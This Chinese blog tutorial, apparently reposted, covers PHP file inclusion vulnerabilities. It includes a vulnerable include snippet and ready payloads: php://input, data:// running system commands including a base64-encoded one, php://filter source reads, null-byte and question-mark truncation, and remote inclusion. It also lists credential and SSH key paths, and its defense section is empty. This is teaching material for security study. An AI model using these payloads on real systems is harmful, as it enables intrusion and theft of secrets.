0x01漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。
include()
require()
include_once()
require_once()
require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
0x02本地文件包含
一、简介
被包含的文件在服务器本地,这里演示一个最简单的文件包含,源码如下:
$filename=$_REQUEST['filename'];
include $filename;
1、首先上传phpinfo代码,之后直接包含就可以完成getshell
2、使用多个../完成目录穿越,查看linux的passwd文件
./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。
一些常见的敏感信息路径:
c:boot.ini // 查看系统版本
c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
c:windowsrepairsam // 存储Windows系统初次安装的密码
c:ProgramFilesmysqlmy.ini // MySQL配置
c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
c:windowsphp.ini // php 配置信息
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
二、攻击方式
上传带有shell的图片,利用包含漏洞getshell
读取文件内容,如php源代码
包含日志文件来getshell
包含 proc/self/environ 来getshell
phpinfo包含临时文件
三、伪协议文件包含
file:// 访问本地文件系统
http(s):// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入/输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
phar:// PHP归档
rar:// RAR
ogg:// 音频流
常用伪协议讲解:
1. file://
(1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。
(2)例如:file:///etc/passwd、file://key.txt
2. php://
(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。
3.phar://
(1)phar://数据流包装器自PHP5.3.0起开始有效
(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt
phar://1.zip/phpinfo.txt
伪协议利用方式总结:
可以利用data://或php://等协议来完成文件包含
php://
条件:php<5.0,allow_url_include=off 能使用
php>5.0,allow_url_fopen=On 能使用
例子:include.php?filename=php://input,然后在post请求中通过input把语句上传执行
"shell.php","a"),"<?php phpinfo();?>") fputs(fopen(
data://
为数据流封装器,data:URI schema,利用data://进行远程代码执行思路与php://类似,都是利用php中的流将原本include的文件的文件流,将原版的include文件重定向到用户可控的数据流中。
条件:allow_url_include=on,php>5.2
例子:include.php?filename=data://text/plain, system(id)
base64变形:include.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
php://filter
可用于查看源码,直接包含php文件时会被解析,不能看到源码,所以需要利用filter来读取,不过需要base64编码加密后才能传输过来。
例子:include.php?filename=php://filter/read=convert.base64-encode/resource=include.php
四、文件包含路径
getshell-包含日志文件
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
网站配置文件
dedecms数据库:data/conmmon.inc.php
discuz全局:config/config_global.php
phpcms:caches/configs/database.php
phpwind:conf/database.php
wordpress:wp-config.php
系统配置文件
windows:
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/Metabase.xml //IIS配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //mysql配置
C:/Program Files/mysql/data/mysql/user.MYD //mysql root
C:/Windows/php.ini //php配置信息
C:/Winodws/my.ini //mysql配置信息
linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httdp/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd[0-9]*
/proc/mounts
/proc/config.gz
0x03远程文件包含
被包含的文件在第三方服务器,即远程服务器上条件:php.ini需配置如下
allow_url_fopen=on
allow_url_include=on
例子:include.php?file=https://maccc.top/1.txt
注:被包含文件最好是一个txt格式
0x04文件包含截断
00x1 00字符截断
简介及利用条件
主要0x00作为ascii码中的特殊字符保留,当url中出现%00时表示读取已结束,利用条件如下:
php < 5.3.4
magic_quotes_gpc=off
使用方法
主要适用于在服务端代码里已写死后缀名(.txt),如只能传入文件名(1),当传入完整文件名(1.txt)时会发生错误,00截断就能帮助绕过这类限制完成getshell
上传带有木马的图片
文件包含通过00截断访问目标图片,如 test.php?file=x.jpg%00
使用蚁剑连接目标
0x02 超长文件截断
简介及利用条件
主要利用操作系统对目录最长长度限制,利用条件如下:
php < 5.2.8
文件名要求:linux文件名需长于4096 winodws文件名需长于256
使用方法
将文件名命名为超过系统目录的最长长度限制
test.php?file=x.jpg………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………
0x03 问号截断
简介及利用条件
主要适用于远程包含,利用条件如下:
php>=5.3
allow_url_fopen=on
allow_url_include=on
使用方法
在远程文件包含时在文件最后添加问号可完成截断
test.php?file=http://192.168.0.121/x.txt?
0x05漏洞防御
0x06知识星球
原文始发于微信公众号(狐狸说安全):WEB常见漏洞之文件包含(基础原理篇)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论